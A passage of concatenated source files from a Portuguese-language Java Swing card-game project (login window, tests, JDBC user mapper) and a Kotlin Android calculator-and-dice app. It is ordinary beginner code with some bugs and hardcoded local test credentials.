EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); textFieldNome = new JTextField(); textFieldNome.setBounds(82, 82, 212, 20); contentPane.add(textFieldNome); textFieldNome.setColumns(10); JLabel lblNewLabel = new JLabel("Login:"); lblNewLabel.setBounds(26, 85, 46, 14); contentPane.add(lblNewLabel); JLabel lblSenha = new JLabel("Senha"); lblSenha.setBounds(26, 130, 46, 14); contentPane.add(lblSenha); textFieldSenha = new JPasswordField(); textFieldSenha.setColumns(10); textFieldSenha.setBounds(82, 127, 212, 20); contentPane.add(textFieldSenha); JLabel lblParaCriarUma = new JLabel( "Digite Seu Login e Senha para logar"); lblParaCriarUma.setForeground(Color.GRAY); lblParaCriarUma.setFont(new Font("Tahoma", Font.BOLD, 14)); lblParaCriarUma.setBounds(26, 20, 322, 26); contentPane.add(lblParaCriarUma); JButton btnEnviar = new JButton("Logar"); btnEnviar.addKeyListener(new KeyAdapter() { @Override public void keyPressed(KeyEvent e) { if (e.getKeyCode() == KeyEvent.VK_ENTER) { nome = textFieldNome.getText(); senha = textFieldSenha.getText(); setVisible(false); textFieldNome.setText(""); textFieldSenha.setText(""); notificarObservador(); } } }); btnEnviar.addActionListener(new ActionListener() { @SuppressWarnings("deprecation") public void actionPerformed(ActionEvent e) { nome = textFieldNome.getText(); senha = textFieldSenha.getText(); setVisible(false); textFieldNome.setText(""); textFieldSenha.setText(""); notificarObservador(); } }); btnEnviar.setForeground(SystemColor.inactiveCaption); btnEnviar.setBackground(SystemColor.activeCaption); btnEnviar.setBounds(150, 165, 89, 38); contentPane.add(btnEnviar); JPanel panel = new JPanel(); panel.setBorder(new MatteBorder(1, 1, 1, 1, (Color) Color.DARK_GRAY)); panel.setBackground(Color.LIGHT_GRAY); panel.setBounds(10, 57, 338, 157); contentPane.add(panel); contentPane.getRootPane().setDefaultButton(btnEnviar); } public void registrarObservador(Observador o) { observadores.add(o); } public void removerObservador(Observador o) { int i = observadores.indexOf(o); if (i >= 0) { observadores.remove(i); } } public void notificarObservador() { for (int i = 0; i < observadores.size(); i++) { Observador observador = (Observador) observadores.get(i); observador.atualizarLogar(this.nome, this.senha); } } public void atualizarCriar(String nome, String senha) { } public void atualizarLogar(String nome, String senha) { } public void setMenu(MenuLogado menu){ menuLog = menu; } public void getPrincipal(MenuPrincipal menuprincipal){ this.menuprincipal = menuprincipal; } public void atualizarLogin(boolean logou, String usuario) { if (logou){ menuLog.setUser(usuario); menuLog.setVisible(true); menuprincipal.setVisible(false); }else JOptionPane.showMessageDialog(contentPane, "Login ou Senha incorretos"); } } <file_sep>/src/Testes/TesteUsuario.java package Testes; import modelo.Acervo; import modelo.AcervoGenerico; import modelo.Jogador; import modelo.JogadorDeCarta; import modelo.SistemaDoJogo; import modelo.Usuario; import modelo.cartas.Carta; import Aplicacao.LeitorDeConfiguracao; public class TesteUsuario { public static void main(String[] args) { AcervoGenerico acervo = Acervo.instancia(); LeitorDeConfiguracao.readFile(acervo); verificarLogin(acervo); } public static void verificarLogin(AcervoGenerico acervo) { SistemaDoJogo sistema = new SistemaDoJogo(); String nome = "jogador boladao", senha = "<PASSWORD>"; sistema.criarUsuario("Nathan", "fdp", acervo); sistema.criarUsuario("valdemir", "macaco", acervo); sistema.criarUsuario(nome, senha, acervo); sistema.criarUsuario("Patricia", "villain", acervo); sistema.criarUsuario("Tomas", "Turbando", acervo); sistema.criarUsuario("admin", "password", acervo); Usuario logado = sistema.verificarLogin(nome, senha); Usuario notLogado = sistema.verificarLogin("Nahtan", "pdf"); System.out.println(logado); System.out.println(logado.getJogador()); for (Carta carta : acervo.mostrarTodasAsCartas()) { logado.getJogador().adicionaCartaAoDeck(carta.retornarNome(), carta.retornarTipo()); logado.getJogador().adicionaCartaAoDeck(carta.retornarNome(), carta.retornarTipo()); } System.out.println(logado.getJogador().visualisarDeck().size()); } }<file_sep>/src/Testes/TesteCriacaoDeck.java package Testes; import java.util.LinkedList; import java.util.List; import javax.swing.JOptionPane; import modelo.Acervo; import modelo.AcervoGenerico; import modelo.Jogador; import modelo.JogadorDeCarta; import modelo.Tipo; import modelo.cartas.Carta; import Aplicacao.LeitorDeConfiguracao; public class TesteCriacaoDeck { public static void main(String[] args) { AcervoGenerico acervo = Acervo.instancia(); LeitorDeConfiguracao.readFile(acervo); Jogador jogadorBoladao = new JogadorDeCarta("boladadinho", acervo); List<Carta> listaTemporariaCartas = new LinkedList<Carta>(); boolean continuar = true; while (continuar) { System.out.println(acervo.mostrarTodasAsCartas()); String nome = JOptionPane .showInputDialog("Nome da carta para adicionar no baralho:"); Object[] possibilities = { "MONSTRO", "ATRIBUTO", "MAGIA", "ENCANTAMENTO" }; String tipo = (String) JOptionPane.showInputDialog(null, "Escolha o tipo da carta:\n", "Tipo da Carta", JOptionPane.PLAIN_MESSAGE, null, possibilities, "MONSTRO"); Tipo tipoDaCarta = LeitorDeConfiguracao.selectTipo(tipo); if ((acervo.retornaCarta(nome, tipoDaCarta) != null)) listaTemporariaCartas.add(acervo .retornaCarta(nome, tipoDaCarta)); System.out.println(listaTemporariaCartas.get(listaTemporariaCartas.size()-1)); int resposta = JOptionPane .showConfirmDialog( null, "Continuar Montando?\nObs: baralho aceitavel min 40 cartas", "Continuar?", JOptionPane.YES_NO_OPTION); if (resposta == JOptionPane.NO_OPTION) { continuar = false; boolean isFail = jogadorBoladao .criarNovoBaralho(listaTemporariaCartas); if (isFail) System.out.println("BARALHO VALIDADO COM SUCESSO!"); else System.out.println("!BARALHO NÃO VALIDADO!"); } } } } <file_sep>/src/modelo/Acervo.java package modelo; import java.util.LinkedList; import java.util.List; import modelo.cartas.Carta; public class Acervo implements AcervoGenerico { private List<Carta> allCards; private AbstractFactory cardsFactory; private volatile static Acervo unicaInstancia; private Acervo() {} public static Acervo instancia() { synchronized (Acervo.class) { if (unicaInstancia == null) { unicaInstancia = new Acervo(); unicaInstancia.instanciaCartas(); } } return unicaInstancia; } private void instanciaCartas() { allCards = new LinkedList<Carta>(); cardsFactory = new CardsFactory(); //Tirei o leitor daqui } public void criarCarta(String nome,String descricao,Tipo tipo, String poder, String caracteristica) { allCards.add(cardsFactory.gerarCarta(nome, descricao, tipo, poder, caracteristica)); } public Carta retornaCarta(String nome, Tipo tipo) { for(Carta carta : allCards) { if(carta.retornarNome().compareToIgnoreCase(nome) == 0 && carta.retornarTipo().compareTo(tipo)==0) return carta; } return null; } public List<Carta> mostrarTodasAsCartas() { return allCards; } public void deletarCarta(int posicao) { allCards.remove(posicao); } } <file_sep>/src/modelo/MapeadorUsuario.java package modelo; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.logging.Level; import java.util.logging.Logger; import javax.sql.rowset.CachedRowSet; public class MapeadorUsuario { private static Connection con = null; private static PreparedStatement pst = null; private static ResultSet rs = null; public static String url = "jdbc:postgresql://localhost/yugiMagic"; public static String user = "user"; public static String password = "123"; private static Map<String, UsuarioFinal> cache = new HashMap<String, UsuarioFinal>(); public static UsuarioFinal get(String login) { UsuarioFinal us = cache.get(login); if (us == null) { try { String state = "SELECT * FROM Usuario " .concat("WHERE LOGIN = ?"); con = DriverManager.getConnection(url, user, password); pst = con.prepareStatement(state); pst.setString(1, login); rs = pst.executeQuery(); while (rs.next()) { String senha = rs.getString("SENHA"); UsuarioFinal a = new UsuarioFinal(login, senha); cache.put(login, a); return a; } } catch (SQLException ex) { Logger lgr = Logger.getLogger(MapeadorUsuario.class.getName()); lgr.log(Level.SEVERE, ex.getMessage(), ex); } finally { try { if (rs != null) { rs.close(); } if (pst != null) { pst.close(); } if (con != null) { con.close(); } } catch (SQLException ex) { Logger lgr = Logger.getLogger(MapeadorUsuario.class .getName()); lgr.log(Level.WARNING, ex.getMessage(), ex); } } } return us; } public static void put(UsuarioFinal usuario) throws SQLException { con = DriverManager.getConnection(url, user, password); if (MapeadorUsuario.get(usuario.getLogin()) != null) { pst = con.prepareStatement("UPDATE USUARIO SET " + "SENHA=?,IP ? WHERE LOGIN=?"); try { pst.setString(1, usuario.getSenha()); pst.setInt(2, usuario.ipAtual); pst.setString(3, usuario.getLogin()); int updtCnt = pst.executeUpdate(); if (updtCnt == 0) throw new SQLException("Nome inexistente!"); } finally { pst.close(); } } else { pst = con.prepareStatement("INSERT INTO PESSOA (NOME,LOGIN,IP) " + "VALUES (?,?,?)"); try { pst.setString(1, usuario.getLogin()); pst.setString(2, usuario.getSenha()); pst.setInt(3, usuario.ipAtual); pst.execute(); } finally { pst.close(); } } cache.put(usuario.getLogin(), usuario); } public static void putTeste(UsuarioFinal usuario) { UsuarioFinal a = MapeadorUsuario.get(usuario.getLogin()); if (a == null) { try { con = DriverManager.getConnection(url, user, password); String stm = "INSERT INTO Usuario(login,senha, ip) VALUES(?, ?, ?)"; pst = con.prepareStatement(stm); pst.setString(1, usuario.getLogin()); pst.setString(2, usuario.getSenha()); pst.setString(3, usuario.ipAtual + ""); pst.executeUpdate(); cache.put(usuario.getLogin(), usuario); } catch (SQLException ex) { Logger lgr = Logger.getLogger(MapeadorUsuario.class.getName()); lgr.log(Level.SEVERE, ex.getMessage(), ex); } finally { try { if (pst != null) { pst.close(); } if (con != null) { con.close(); } } catch (SQLException ex) { Logger lgr = Logger.getLogger(MapeadorUsuario.class .getName()); lgr.log(Level.SEVERE, ex.getMessage(), ex); } } } } public static void alterUsuario(Usuario usuario){ } public void limpaCache() { this.cache.clear(); } } <file_sep>/src/modelo/Partida.java package modelo; public class Partida { //TODO } <file_sep>/src/modelo/Observador.java package modelo; public interface Observador { void atualizarCriar(String nome,String senha); void atualizarLogar(String nome,String senha); void atualizarLogin(boolean logou,String usuario); } <file_sep>/src/modelo/Deck.java package modelo; import java.util.List; import modelo.cartas.Carta; public interface Deck { void embaralhar(); void adicionarCarta(Carta carta); void removerCarta(Carta carta); boolean gerarBaralho(List<Carta> cartasSelecionadas); //Mudado boolean validarBaralho(); Carta pegarCarta(int pos); int tamanho(); Carta pegarCarta(String nome, Tipo tipo); } <file_sep>/src/modelo/EstadoDeJogador.java package modelo; public enum EstadoDeJogador implements Estado { COMPRAR,ADICIONAR,ATACAR,DEFENDER; @Override public void comprarCarta(JogadorDeCarta jogador) { // TODO Auto-generated method stub } @Override public void adicionarCartaAMesa(JogadorDeCarta jogador) { // TODO Auto-generated method stub } @Override public void atacar(JogadorDeCarta jogador) { // TODO Auto-generated method stub } @Override public void defender(JogadorDeCarta jogador) { // TODO Auto-generated method stub } } <file_sep>/src/visao/ConcectarPartida.java package visao; import java.awt.BorderLayout; import java.awt.EventQueue; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.border.EmptyBorder; import java.awt.Color; import javax.swing.JLabel; import java.awt.Font; import javax.swing.JRadioButton; import javax.swing.JTextField; import javax.swing.border.MatteBorder; import javax.swing.JButton; public class ConcectarPartida extends JFrame { private JPanel contentPane; private JTextField textField; private JTextField textField_1; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { ConcectarPartida frame = new ConcectarPartida(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the frame. */ public ConcectarPartida() { setTitle("Conectar Partida"); setBounds(100, 100, 450, 300); contentPane = new JPanel(); contentPane.setBackground(Color.DARK_GRAY); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); JLabel lblDigiteOIp = new JLabel("Digite o IP e a Porta da partida a se conectar"); lblDigiteOIp.setBounds(16, 16, 440, 16); lblDigiteOIp.setFont(new Font("Helvetica", Font.BOLD, 15)); lblDigiteOIp.setForeground(Color.ORANGE); contentPane.add(lblDigiteOIp); JPanel panel = new JPanel(); panel.setBorder(new MatteBorder(1, 1, 1, 1, (Color) Color.ORANGE)); panel.setBackground(Color.LIGHT_GRAY); panel.setBounds(16, 88, 202, 79); contentPane.add(panel); panel.setLayout(null); textField = new JTextField(); textField.setText("127.0.0.1"); textField.setBounds(55, 6, 111, 28); panel.add(textField); textField.setColumns(10); JLabel lblIp = new JLabel("IP:"); lblIp.setBounds(17, 12, 61, 16); panel.add(lblIp); JLabel lblPorta = new JLabel("Porta:"); lblPorta.setBounds(17, 45, 61, 16); panel.add(lblPorta); textField_1 = new JTextField(); textField_1.setText("4964"); textField_1.setColumns(10); textField_1.setBounds(55, 39, 111, 28); panel.add(textField_1); JPanel panel_1 = new JPanel(); panel_1.setBounds(230, 134, 31, 3); contentPane.add(panel_1); JButton btnConectar = new JButton("Conectar"); btnConectar.setBounds(273, 117, 117, 35); contentPane.add(btnConectar); JPanel panel_2 = new JPanel(); panel_2.setBounds(316, 164, 31, 3); contentPane.add(panel_2); JPanel panel_3 = new JPanel(); panel_3.setBounds(316, 179, 31, 3); contentPane.add(panel_3); JPanel panel_4 = new JPanel(); panel_4.setBounds(316, 103, 31, 3); contentPane.add(panel_4); JPanel panel_5 = new JPanel(); panel_5.setBounds(316, 90, 31, 3); contentPane.add(panel_5); JPanel panel_6 = new JPanel(); panel_6.setBounds(316, 76, 31, 3); contentPane.add(panel_6); JPanel panel_7 = new JPanel(); panel_7.setBounds(316, 191, 31, 3); contentPane.add(panel_7); JPanel panel_8 = new JPanel(); panel_8.setBounds(397, 134, 31, 3); contentPane.add(panel_8); } }
686e3c687d44a98f0023f6156202fd404cc0f94a
[ "Java" ]
16
Java
ass0160/YugihMagic-Theta
6ea990a26e5d7623d217dec60533aac19ad8723b
cfca048a0825b87d529d7ea0a48df82f1314daaa
refs/heads/master
<repo_name>aqadr/bluejay.docker<file_sep>/runscript.sh #!/bin/bash set -xe apt-get update apt-get install -y sudo groupadd --gid 1000 dev useradd --system --create-home --home-dir /home/dev --shell /bin/bash --gid root --groups sudo,dev --uid 1000 dev passwd -d dev export uid=1000 gid=1000 mkdir -p /home/dev DEBIAN_FRONTEND=noninteractive apt-get install -y\ sudo\ apt-utils\ libpng-dev\ libjpeg-dev\ libtiff-dev\ libxxf86vm1\ libxxf86vm-dev\ libxi-dev\ libxrandr-dev\ build-essential\ git mercurial\ cmake\ libglu1-mesa-dev\ libxmu-dev\ libxi-dev\ libcgal-dev\ libcgal-qt5-dev\ libatlas-base-dev\ libsuitesparse-dev\ freeglut3-dev\ libglew-dev\ libglfw3-dev\ libc++-dev\ libc++abi-dev\ bc\ build-essential\ automake\ nasm\ firefox\ mercurial\ build-essential\ yasm\ ninja-build\ clang\ curl\ dos2unix\ gcc\ gdb\ genext2fs\ git\ bash-completion\ htop\ jq\ libidn11\ libxkbcommon-x11-0\ software-properties-common\ tcl\ vim\ emacs\ gedit\ meld\ wget\ rpm2cpio\ cowsay\ fortune\ cpio\ libgtk2.0-dev\ pkg-config\ psmisc\ xterm\ xvfb\ zlibc zlib1g zlib1g-dev\ zsh\ inetutils-ping\ libgl1-mesa-dev\ libprotobuf-dev\ automake\ autoconf\ libtool\ unzip\ kpartx\ apache2\ ufw\ php\ php-mysql\ libpulse-mainloop-glib0\ python3-pip\ libnvidia-gl-418 mkdir /home/dev/Downloads cd /home/dev/Downloads wget "https://cmake.org/files/v3.12/cmake-3.12.2-Linux-x86_64.tar.gz" tar -xzvf cmake-3.12.2-Linux-x86_64.tar.gz export PATH=$PATH:/home/dev/Downloads/cmake-3.12.2-Linux-x86_64/bin chown -R dev:dev /home/dev export "PS1=$(whoami)@$(hostname):$(pwd) > cd /home/dev/\ " <file_sep>/README.md # bluejay.docker Contains scripts used in building a Docker image that can be used for OpenMVG and OpenMVS projects Based off [https://gitlab.com/nvidia/container-images/cuda/blob/master/dist/ubuntu18.04/10.2/base/Dockerfile](https://gitlab.com/nvidia/container-images/cuda/blob/master/dist/ubuntu18.04/10.2/base/Dockerfile) ```bash docker build -t bluejay . ``` <file_sep>/Dockerfile FROM ubuntu:19.04 COPY runscript.sh /tmp RUN /tmp/runscript.sh ENV HOME /home/dev ENV PATH="${PATH}:/home/dev/Downloads/cmake-3.12.2-Linux-x86_64/bin:/usr/games" ENV CC=/usr/bin/clang ENV CXX=/usr/bin/clang++ USER dev WORKDIR /home/dev COPY configure-container.sh /home/dev/configure-container.sh <file_sep>/enterdocker.sh #!/bin/bash -xe set -xe pushd ~ docker run --rm -e DOCKERUSER=$USER -e DISPLAY=$DISPLAY -e GITUSER="$(git config --get user.name)" -e GITEMAIL="$(git config --get user.email)" -v /tmp/.X11-unix:/tmp/.X11-unix -v $HOME/.Xauthority:/home/dev/.Xauthority --net=host -v $PWD:/home/dev/$USER --name bluejay --cap-add=SYS_PTRACE --privileged -it bluejay bash -c "/home/dev/configure-container.sh; bash" popd <file_sep>/configure-container.sh #!/bin/bash -x # # set -x function main() { if [ "$DOCKERUSER" = "" ]; then echo "Environment variable DOCKERUSER was not set during docker run command. $DOCKERUSER"; exit -1; fi installSshKeys configureGit configureDownloads } function installSshKeys() { echo "installSshKeys" if [ ! -d "/home/dev/$DOCKERUSER/.ssh" ]; then echo "/home/dev/$DOCKERUSER/.ssh does not exist"; else echo "setting link to .ssh" ln -s /home/dev/$DOCKERUSER/.ssh /home/dev/.ssh; fi } function configureGit() { echo "configureGit" if [ "$GITUSER" = "" ]; then echo "Environment variable GITUSER was not set during docker run command. $GITUSER"; exit -1; else echo "setting git user as $GITUSER" git config --global user.name "$GITUSER" fi if [ "$GITEMAIL" = "" ]; then echo "Environment variable GITUSER was not set during docker run command. $GITUSER"; exit -1; else echo "setting git email as $GITEMAIL" git config --global user.email "$GITEMAIL" fi } function configureDownloads() { echo "configureDownloads" mkdir -p /home/dev/$DOCKERUSER/Downloads/ sudo cp -nr /home/dev/Downloads/* /home/dev/$DOCKERUSER/Downloads/ rm -fr /home/dev/Downloads ln -s /home/dev/$DOCKERUSER/Downloads /home/dev/Downloads } main
07df3700d777a98128e93574932a8f988aeefa83
[ "Markdown", "Dockerfile", "Shell" ]
5
Shell
aqadr/bluejay.docker
65801ba2be8829c2fb2da32bb800cd4568e5ac8d
bbcef38c977570a72f6eb468c39d5d5b58852dd4
refs/heads/master
<repo_name>diegoslot/projeto_python<file_sep>/script #!/bin/env python # -*- coding: iso-8859-1 -*- from datetime import date import os os.system("clear") print (""" \t\t######################################### \t\t### 1 ## Comando netstat ### \t\t### 2 ## Ipconfig ### \t\t### 3 ## Exibir data ### \t\t### 4 ## nslookup ### \t\t### 5 ## Sair ### \t\t######################################### """) while True: try: op = int(input("Número: ")) except: print ("\Opção inválida! Digite apenas valores numéricos.\n") quit() if op==1: ignoreTHIS = os.system("netstat -a ") elif op==2: ignoreTHIS = os.system("ipconfig >> ipconfig.txt") elif op==3: print (date.today()) ignoreTHIS = os.system("time +%d/%m/%Y") elif op==4: print (nslookup -sil >> nslookup.txt) elif op==5: print ("\nPrograma Encerrado.\n\n") quit() else: print ("Opção incorreta.") break <file_sep>/README.md # projeto_python Script de python
c55fa2e41da38c45dc015687f719a799566fd78f
[ "Markdown", "Python" ]
2
Python
diegoslot/projeto_python
451e57a151dd9e77a453e5cd5beb584f8934bbee
800a3cf2cb2767d56d0297981c2cc73142f4c0fa
refs/heads/master
<file_sep>#include "stdafx.h" Network::Network(int numOfLayer, std::vector<Layer>& net){ this->numOfLayer = numOfLayer; for(unsigned int i = 0; i < net.size(); ++i){ this->network.push_back(net[i]); } std::cout <<"Inside network\n"; } double Network::forwardProp(){ //Forward propogation double result = 0; std::vector<double> tempWeight; tempWeight.push_back(0.1); tempWeight.push_back(0.2); tempWeight.push_back(0.3); for(unsigned int i = 0; i < this->numOfLayer; ++i){ network[i].genLayerOutput(); if(i < this->network[i].getNeurNum()){ for(unsigned int j = 0; j < this->network[i+1].getNeurNum(); ++j){ network[i+1].getLayer()[j][j].setInput(this->network[i].getLayerOut()); network[i+1].getLayer()[j][j].setWeight(tempWeight); } } } this->result = network[1].getLayerOut()[0]; return result; } std::vector<Layer> Network::getNetwork(){ return this->network; } double Network::showResult(){ return this->result; } double Network::backProp(){ //Algorithm of backPropogation return 0; }<file_sep>#pragma once class Layer{ unsigned int numOfLayer; int neuronNum; std::vector<Neuron> lay; std::vector<double> layerOutput; public: Layer(int numOfNeur, std::vector<Neuron>& inputNeurons, unsigned int numOfLayer); unsigned int getNeurNum(); std::vector<Neuron>* getLayer(); std::vector<double>& getLayerOut(); void pushInput(double& input); void genLayerOutput(); };<file_sep># NeuralNetworkProj-for-1C Neural Network structure. Test project for 1C company. Visual Studio 2010 solution. Code in Perceptron folder. Prototypes in .h files, realisations in .cpp files with same names. <file_sep>// Perceptron.cpp : Defines the entry point for the console application. // #include "stdafx.h" void createNet(){ // loading network structure from file } int _tmain(int argc, _TCHAR* argv[]){ createNet(); return 0; } <file_sep>#pragma once class Neuron{ bool actFuncFlag; //Activaition function flag(sigmoid ol linear) unsigned int layerNumber; std::vector<double> input; std::vector<double> output; std::vector<double> weights; std::vector<double> threshold; std::string name; public: Neuron(bool actFuncFlag, std::vector<double>& input, std::vector<double>& weights, unsigned int numOfLayer); Neuron(bool actFuncFlag, unsigned int numOfLayer, std::string name); double activationFunc(double arg); double testFuncDerived(double arg); std::vector<double> getOutput(); std::vector<double> getWeight(); std::vector<double> getInput(); std::vector<double> setInput(std::vector<double>& inp); std::vector<double> setWeight(std::vector<double>& inpW); void setWeights(std::vector<double>& weights); void showWeights(); double inductLocalField(); double neuronResult(); };<file_sep>#pragma once class Network{ int numOfLayer; double result; std::vector<Layer> network; public: Network(int numOflayer, std::vector<Layer>& net); double forwardProp(); double showResult(); double backProp(); std::vector<Layer> getNetwork(); };<file_sep>#include "stdafx.h" Neuron::Neuron(bool actFuncFlag, std::vector<double>& input, std::vector<double>& weights, unsigned int numOfLayer){ this->actFuncFlag = actFuncFlag; this->layerNumber = numOfLayer; for(unsigned int i = 0; i < input.size(); ++i){ this->input.push_back(input[i]); this->weights.push_back(weights[i]); } } Neuron::Neuron(bool actFuncFlag, unsigned int numOfLayer, std::string name) : actFuncFlag(actFuncFlag), layerNumber(numOfLayer){ this->name = name; for(unsigned int i = 0; i < 1; ++i){ weights.push_back(0.1); } } double Neuron::activationFunc(double arg){ if(actFuncFlag == true){ return tanh(arg); } else{ return arg; } } double Neuron::testFuncDerived(double arg){ if(actFuncFlag == true){ std::cout << "Sigmoid\n"; return 4/pow((exp(arg) + exp(-arg)),2); } else{ std::cout << "Linear\n"; return arg; } } std::vector<double> Neuron::getOutput(){ return this->output; } void Neuron::setWeights(std::vector<double>& weights){ std::cout << "Inside setWeights\n"; for(unsigned int i = 0; i < weights.size(); ++i){ this->weights.push_back(weights[i]); } } void Neuron::showWeights(){ for(unsigned int i = 0; i < this->weights.size(); ++i){ std::cout << weights[i]<<"\n"; } } std::vector<double> Neuron::getWeight(){ return this->weights; } std::vector<double> Neuron::getInput(){ return this->input; } double Neuron::inductLocalField(){ double result = 0; for(unsigned int i = 0; i < this->input.size(); ++i){ result += input[i]*weights[i]; } return result; } double Neuron::neuronResult(){ return this->activationFunc(inductLocalField()); } std::vector<double> Neuron::setInput(std::vector<double>& inp){ this->input.clear(); for(unsigned int i = 0; i < inp.size(); ++i){ input.push_back(inp[i]); } return input; } std::vector<double> Neuron::setWeight(std::vector<double>& inpW){ this->weights.clear(); for(unsigned int i = 0; i < inpW.size(); ++i){ weights.push_back(inpW[i]); } return input; }<file_sep>#include "stdafx.h" Layer::Layer(int numOfNeur, std::vector<Neuron>& inputNeurons, unsigned int numOfLayer){ this->numOfLayer = numOfLayer; this->neuronNum = numOfNeur; for(unsigned int i = 0; i < inputNeurons.size(); ++i){ this->lay.push_back(inputNeurons[i]); } } std::vector<Neuron>* Layer::getLayer(){ return &lay; } unsigned int Layer::getNeurNum(){ return this->neuronNum; } void Layer::genLayerOutput(){ for(int i = 0; i < this->neuronNum; ++i){ this->layerOutput.push_back(this->lay[i].neuronResult()); } } std::vector<double>& Layer::getLayerOut(){ return layerOutput; }
21f0a724d74d6add6293242e0a79226f8446981d
[ "Markdown", "C++" ]
8
C++
Alex1202/NeuralNetworkProj-for-1C
4a4474d26d8cf59677bf464d3afac578ea32bcd3
b543d240eb3cb6b8d86b8cac499b22144410a8fc
refs/heads/master
<repo_name>Misha123456/srpSearch2<file_sep>/src/main/java/my/project/Config.java package my.project; public class Config { static final String CHROMEDRIVER_LOCATION = "/opt/chromedriver"; } <file_sep>/src/main/java/my/project/wildberries/WildBerriesMatcher.java package my.project.wildberries; import my.project.PDPMatcher; import org.openqa.selenium.WebDriver; public class WildBerriesMatcher implements PDPMatcher { public boolean match(WebDriver currentPDP) { // todo your logic here return true; } }
ca1c1d627014b6b97560d61aecd5f4e8cca1c84d
[ "Java" ]
2
Java
Misha123456/srpSearch2
b9572ebff42e66c524ad224ce41a01fca0d5fb1d
e1358d416f1e73c05bea9db6875020d0b7f67d53
refs/heads/main
<repo_name>ajizul22/simple-calculator-dice<file_sep>/app/src/main/java/com/example/simplecalculatorandrandomdice/calculator/CalculatorActivity.kt package com.example.simplecalculatorandrandomdice.calculator import android.os.Bundle import android.widget.Toast import com.example.simplecalculatorandrandomdice.BaseActivity import com.example.simplecalculatorandrandomdice.R import kotlinx.android.synthetic.main.activity_calculator.* import net.objecthunter.exp4j.ExpressionBuilder import java.lang.Exception class CalculatorActivity : BaseActivity() { lateinit var function: FunctionCalculator override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_calculator) function = FunctionCalculator(tv_input, tv_result) initListener() } override fun initListener() { btn0.setOnClickListener { function.appendOnClick(true, "0") } btn1.setOnClickListener { function.appendOnClick(true, "1") } btn2.setOnClickListener { function.appendOnClick(true, "2") } btn3.setOnClickListener { function.appendOnClick(true, "3") } btn4.setOnClickListener { function.appendOnClick(true, "4") } btn5.setOnClickListener { function.appendOnClick(true, "5") } btn6.setOnClickListener { function.appendOnClick(true, "6") } btn7.setOnClickListener { function.appendOnClick(true, "7") } btn8.setOnClickListener { function.appendOnClick(true, "8") } btn9.setOnClickListener { function.appendOnClick(true, "9") } btn_dot.setOnClickListener { function.appendOnClick(true, ".") } btn_add.setOnClickListener { function.appendOnClick(false, "+") } btn_divide.setOnClickListener { function.appendOnClick(false, "/") } btn_minus.setOnClickListener { function.appendOnClick(false, "-") } btn_multiply.setOnClickListener { function.appendOnClick(false, "*") } btn_modulo.setOnClickListener { function.appendOnClick(false, "%") } btn_equal.setOnClickListener { function.getCalculate() } btn_delete.setOnClickListener { function.erase() } btn_clear.setOnClickListener { function.clear() } } }<file_sep>/app/src/main/java/com/example/simplecalculatorandrandomdice/dice/FunctionDice.kt package com.example.simplecalculatorandrandomdice.dice import android.widget.ImageView import com.example.simplecalculatorandrandomdice.R class FunctionDice(var ivDice: ImageView) { private fun rollDice() { val drawableResource = when((1..6).random()) { 1 -> R.drawable.dice1 2 -> R.drawable.dice2 3 -> R.drawable.dice3 4 -> R.drawable.dice4 5 -> R.drawable.dice5 else -> R.drawable.dice6 } ivDice.setImageResource(drawableResource) } fun getRollDice() { return rollDice() } }<file_sep>/app/src/main/java/com/example/simplecalculatorandrandomdice/MainActivity.kt package com.example.simplecalculatorandrandomdice import android.content.Intent import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import android.widget.Button import com.example.simplecalculatorandrandomdice.calculator.CalculatorActivity import com.example.simplecalculatorandrandomdice.dice.DiceActivity class MainActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) val toCalculator = findViewById<Button>(R.id.btn_to_calculator) val toDice: Button = findViewById(R.id.btn_to_dice) toDice.setOnClickListener { val intentToDice = Intent(this, DiceActivity::class.java) startActivity(intentToDice) } toCalculator.setOnClickListener { val intentCalculator = Intent(this, CalculatorActivity::class.java) startActivity(intentCalculator) } } }<file_sep>/app/src/main/java/com/example/simplecalculatorandrandomdice/calculator/FunctionCalculator.kt package com.example.simplecalculatorandrandomdice.calculator import android.widget.TextView import net.objecthunter.exp4j.ExpressionBuilder class FunctionCalculator(var tvInput : TextView, var tvResult : TextView) { fun appendOnClick(clear: Boolean, string: String) { if (tvResult.text.isNotEmpty()) { tvInput.text = "" } if (clear) { tvResult.text = "" tvInput.append(string) } else { tvInput.append(tvResult.text) tvInput.append(string) tvResult.text = "" } } fun clear() { tvInput.text = "" tvResult.text = "" } fun erase() { val inputText = tvInput.text if(inputText.isNotEmpty()) { tvInput.text = inputText.substring(0, inputText.length-1) } tvResult.text = "" } private fun calculate() { val input = ExpressionBuilder(tvInput.text.toString()).build() val result = input.evaluate() val longResult = result.toLong() if (result == longResult.toDouble()) { tvResult.text = longResult.toString() } else tvResult.text = result.toString() } fun getCalculate() { return calculate() } }<file_sep>/settings.gradle include ':app' rootProject.name = "Simple Calculator and Random Dice"<file_sep>/app/src/main/java/com/example/simplecalculatorandrandomdice/dice/DiceActivity.kt package com.example.simplecalculatorandrandomdice.dice import android.os.Bundle import com.example.simplecalculatorandrandomdice.BaseActivity import com.example.simplecalculatorandrandomdice.R import kotlinx.android.synthetic.main.activity_dice.* import java.util.* class DiceActivity: BaseActivity() { lateinit var function: FunctionDice override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_dice) function = FunctionDice(iv_dice) initListener() } override fun initListener() { iv_dice.setOnClickListener { function.getRollDice() } } }
55f3ba44cbbe351f8ca2c748f845781a979ea14a
[ "Kotlin", "Gradle" ]
6
Kotlin
ajizul22/simple-calculator-dice
0da32f52457fe856c62a072e73880ef67b5c8318
0316894e2eba61695f5c2daccb60048d5e30fe44
refs/heads/main
